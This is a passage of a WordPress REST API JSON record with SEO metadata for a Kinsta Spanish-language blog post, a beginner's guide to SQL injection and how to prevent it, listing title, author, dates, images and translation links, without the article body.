WordPress\",\"isPartOf\":{\"@id\":\"https:\/\/staging.kinsta.site\/es\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2020\/01\/inyeccion-sql.jpg\",\"datePublished\":\"2020-01-14T10:42:14+00:00\",\"dateModified\":\"2022-07-27T13:21:19+00:00\",\"description\":\"Aprenda lo que es una inyecci\u00f3n SQL, c\u00f3mo la vulnerabilidad de la inyecci\u00f3n SQL puede existir en sus aplicaciones web (como los sitios de WordPress) y c\u00f3mo prevenir los ataques.\",\"breadcrumb\":{\"@id\":\"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#primaryimage\",\"url\":\"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2020\/01\/inyeccion-sql.jpg\",\"contentUrl\":\"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2020\/01\/inyeccion-sql.jpg\",\"width\":1460,\"height\":730,\"caption\":\"Inyecci\u00f3n SQL\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/staging.kinsta.site\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Inyecci\u00f3n SQL: Una gu\u00eda para usuarios principiantes de WordPress\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/staging.kinsta.site\/es\/#website\",\"url\":\"https:\/\/staging.kinsta.site\/es\/\",\"name\":\"Kinsta\",\"description\":\"Soluciones de alojamiento premium, r\u00e1pidas y seguras\",\"publisher\":{\"@id\":\"https:\/\/staging.kinsta.site\/es\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/staging.kinsta.site\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/staging.kinsta.site\/es\/#organization\",\"name\":\"Kinsta\",\"url\":\"https:\/\/staging.kinsta.site\/es\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/staging.kinsta.site\/es\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2021\/08\/kinsta.png\",\"contentUrl\":\"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2021\/08\/kinsta.png\",\"width\":580,\"height\":580,\"caption\":\"Kinsta\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/es\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/kinsta.es\/\",\"https:\/\/x.com\/Kinsta_ES\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/staging.kinsta.site\/es\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504\",\"name\":\"Shaumik Daityari\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/staging.kinsta.site\/es\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g\",\"caption\":\"Shaumik Daityari\"},\"description\":\"Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!\",\"url\":\"https:\/\/staging.kinsta.site\/es\/blog\/author\/shaumikdaityari\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Inyecci\u00f3n SQL: Una gu\u00eda para usuarios principiantes de WordPress","description":"Aprenda lo que es una inyecci\u00f3n SQL, c\u00f3mo la vulnerabilidad de la inyecci\u00f3n SQL puede existir en sus aplicaciones web (como los sitios de WordPress) y c\u00f3mo prevenir los ataques.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/","og_locale":"es_ES","og_type":"article","og_title":"Inyecci\u00f3n SQL: Una gu\u00eda para usuarios principiantes de WordPress","og_description":"Aprenda lo que es una inyecci\u00f3n SQL, c\u00f3mo la vulnerabilidad de la inyecci\u00f3n SQL puede existir en sus aplicaciones web (como los sitios de WordPress) y c\u00f3mo prevenir los ataques.","og_url":"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/","og_site_name":"Kinsta","article_publisher":"https:\/\/www.facebook.com\/kinsta.es\/","article_published_time":"2020-01-14T10:42:14+00:00","article_modified_time":"2022-07-27T13:21:19+00:00","og_image":[{"width":1460,"height":730,"url":"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2020\/01\/inyeccion-sql.jpg","type":"image\/jpeg"}],"author":"Shaumik Daityari","twitter_card":"summary_large_image","twitter_description":"Aprenda lo que es una inyecci\u00f3n SQL, c\u00f3mo la vulnerabilidad de la inyecci\u00f3n SQL puede existir en sus aplicaciones web (como los sitios de WordPress) y c\u00f3mo prevenir los ataques.","twitter_image":"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2020\/01\/inyeccion-sql.jpg","twitter_creator":"@Kinsta_ES","twitter_site":"@Kinsta_ES","twitter_misc":{"Escrito por":"Shaumik Daityari","Tiempo de lectura":"15 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#article","isPartOf":{"@id":"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/"},"author":{"name":"Shaumik Daityari","@id":"https:\/\/staging.kinsta.site\/es\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504"},"headline":"Inyecci\u00f3n SQL: Una gu\u00eda para usuarios principiantes de WordPress","datePublished":"2020-01-14T10:42:14+00:00","dateModified":"2022-07-27T13:21:19+00:00","mainEntityOfPage":{"@id":"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/"},"wordCount":2774,"commentCount":0,"publisher":{"@id":"https:\/\/staging.kinsta.site\/es\/#organization"},"image":{"@id":"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#primaryimage"},"thumbnailUrl":"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2020\/01\/inyeccion-sql.jpg","keywords":["sitesecurity","wordpresshack"],"articleSection":["Seguridad WordPress"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/","url":"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/","name":"Inyecci\u00f3n SQL: Una gu\u00eda para usuarios principiantes de WordPress","isPartOf":{"@id":"https:\/\/staging.kinsta.site\/es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#primaryimage"},"image":{"@id":"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#primaryimage"},"thumbnailUrl":"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2020\/01\/inyeccion-sql.jpg","datePublished":"2020-01-14T10:42:14+00:00","dateModified":"2022-07-27T13:21:19+00:00","description":"Aprenda lo que es una inyecci\u00f3n SQL, c\u00f3mo la vulnerabilidad de la inyecci\u00f3n SQL puede existir en sus aplicaciones web (como los sitios de WordPress) y c\u00f3mo prevenir los ataques.","breadcrumb":{"@id":"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#primaryimage","url":"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2020\/01\/inyeccion-sql.jpg","contentUrl":"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2020\/01\/inyeccion-sql.jpg","width":1460,"height":730,"caption":"Inyecci\u00f3n SQL"},{"@type":"BreadcrumbList","@id":"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/staging.kinsta.site\/es\/"},{"@type":"ListItem","position":2,"name":"Inyecci\u00f3n SQL: Una gu\u00eda para usuarios principiantes de WordPress"}]},{"@type":"WebSite","@id":"https:\/\/staging.kinsta.site\/es\/#website","url":"https:\/\/staging.kinsta.site\/es\/","name":"Kinsta","description":"Soluciones de alojamiento premium, r\u00e1pidas y seguras","publisher":{"@id":"https:\/\/staging.kinsta.site\/es\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/staging.kinsta.site\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Organization","@id":"https:\/\/staging.kinsta.site\/es\/#organization","name":"Kinsta","url":"https:\/\/staging.kinsta.site\/es\/","logo":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/staging.kinsta.site\/es\/#\/schema\/logo\/image\/","url":"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2021\/08\/kinsta.png","contentUrl":"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2021\/08\/kinsta.png","width":580,"height":580,"caption":"Kinsta"},"image":{"@id":"https:\/\/staging.kinsta.site\/es\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/kinsta.es\/","https:\/\/x.com\/Kinsta_ES"]},{"@type":"Person","@id":"https:\/\/staging.kinsta.site\/es\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504","name":"Shaumik Daityari","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/staging.kinsta.site\/es\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g","caption":"Shaumik Daityari"},"description":"Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!","url":"https:\/\/staging.kinsta.site\/es\/blog\/author\/shaumikdaityari\/"}]}},"acf":[],"_links":{"self":[{"href":"https:\/\/staging.kinsta.site\/es\/wp-json\/wp\/v2\/posts\/30171","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/staging.kinsta.site\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging.kinsta.site\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/es\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/es\/wp-json\/wp\/v2\/comments?post=30171"}],"version-history":[{"count":9,"href":"https:\/\/staging.kinsta.site\/es\/wp-json\/wp\/v2\/posts\/30171\/revisions"}],"predecessor-version":[{"id":55323,"href":"https:\/\/staging.kinsta.site\/es\/wp-json\/wp\/v2\/posts\/30171\/revisions\/55323"}],"alternate":[{"embeddable":true,"hreflang":"en","title":"English","href":"https:\/\/staging.kinsta.site\/es\/wp-json\/kinsta\/v1\/posts\/30171\/translations\/en"},{"embeddable":true,"hreflang":"fr","title":"French","href":"https:\/\/staging.kinsta.site\/es\/wp-json\/kinsta\/v1\/posts\/30171\/translations\/fr"},{"embeddable":true,"hreflang":"es","title":"Spanish","href":"https:\/\/staging.kinsta.site\/es\/wp-json\/kinsta\/v1\/posts\/30171\/translations\/es"},{"embeddable":true,"hreflang":"pt","title":"Portuguese","href":"https:\/\/staging.kinsta.site\/es\/wp-json\/kinsta\/v1\/posts\/30171\/translations\/pt"},{"embeddable":true,"hreflang":"it","title":"Italian","href":"https:\/\/staging.kinsta.site\/es\/wp-json\/kinsta\/v1\/posts\/30171\/translations\/it"},{"embeddable":true,"hreflang":"da","title":"Danish","href":"https:\/\/staging.kinsta.site\/es\/wp-json\/kinsta\/v1\/posts\/30171\/translations\/dk"},{"embeddable":true,"hreflang":"nl","title":"Dutch","href":"https:\/\/staging.kinsta.site\/es\/wp-json\/kinsta\/v1\/posts\/30171\/translations\/nl"},{"embeddable":true,"hreflang":"de","title":"German","href":"https:\/\/staging.kinsta.site\/es\/wp-json\/kinsta\/v1\/posts\/30171\/translations\/de"},{"embeddable":true,"hreflang":"sv","title":"Swedish","href":"https:\/\/staging.kinsta.site\/es\/wp-json\/kinsta\/v1\/posts\/30171\/translations\/se"},{"href":"https:\/\/staging.kinsta.site\/es\/wp-json\/kinsta\/v1\/posts\/30171\/tree"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/es\/wp-json\/wp\/v2\/media\/30174"}],"wp:attachment":[{"href":"https:\/\/staging.kinsta.site\/es\/wp-json\/wp\/v2\/media?parent=30171"}],"wp:term":[{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging.kinsta.site\/es\/wp-json\/wp\/v2\/tags?post=30171"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/staging.kinsta.site\/es\/wp-json\/wp\/v2\/topic?post=30171"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}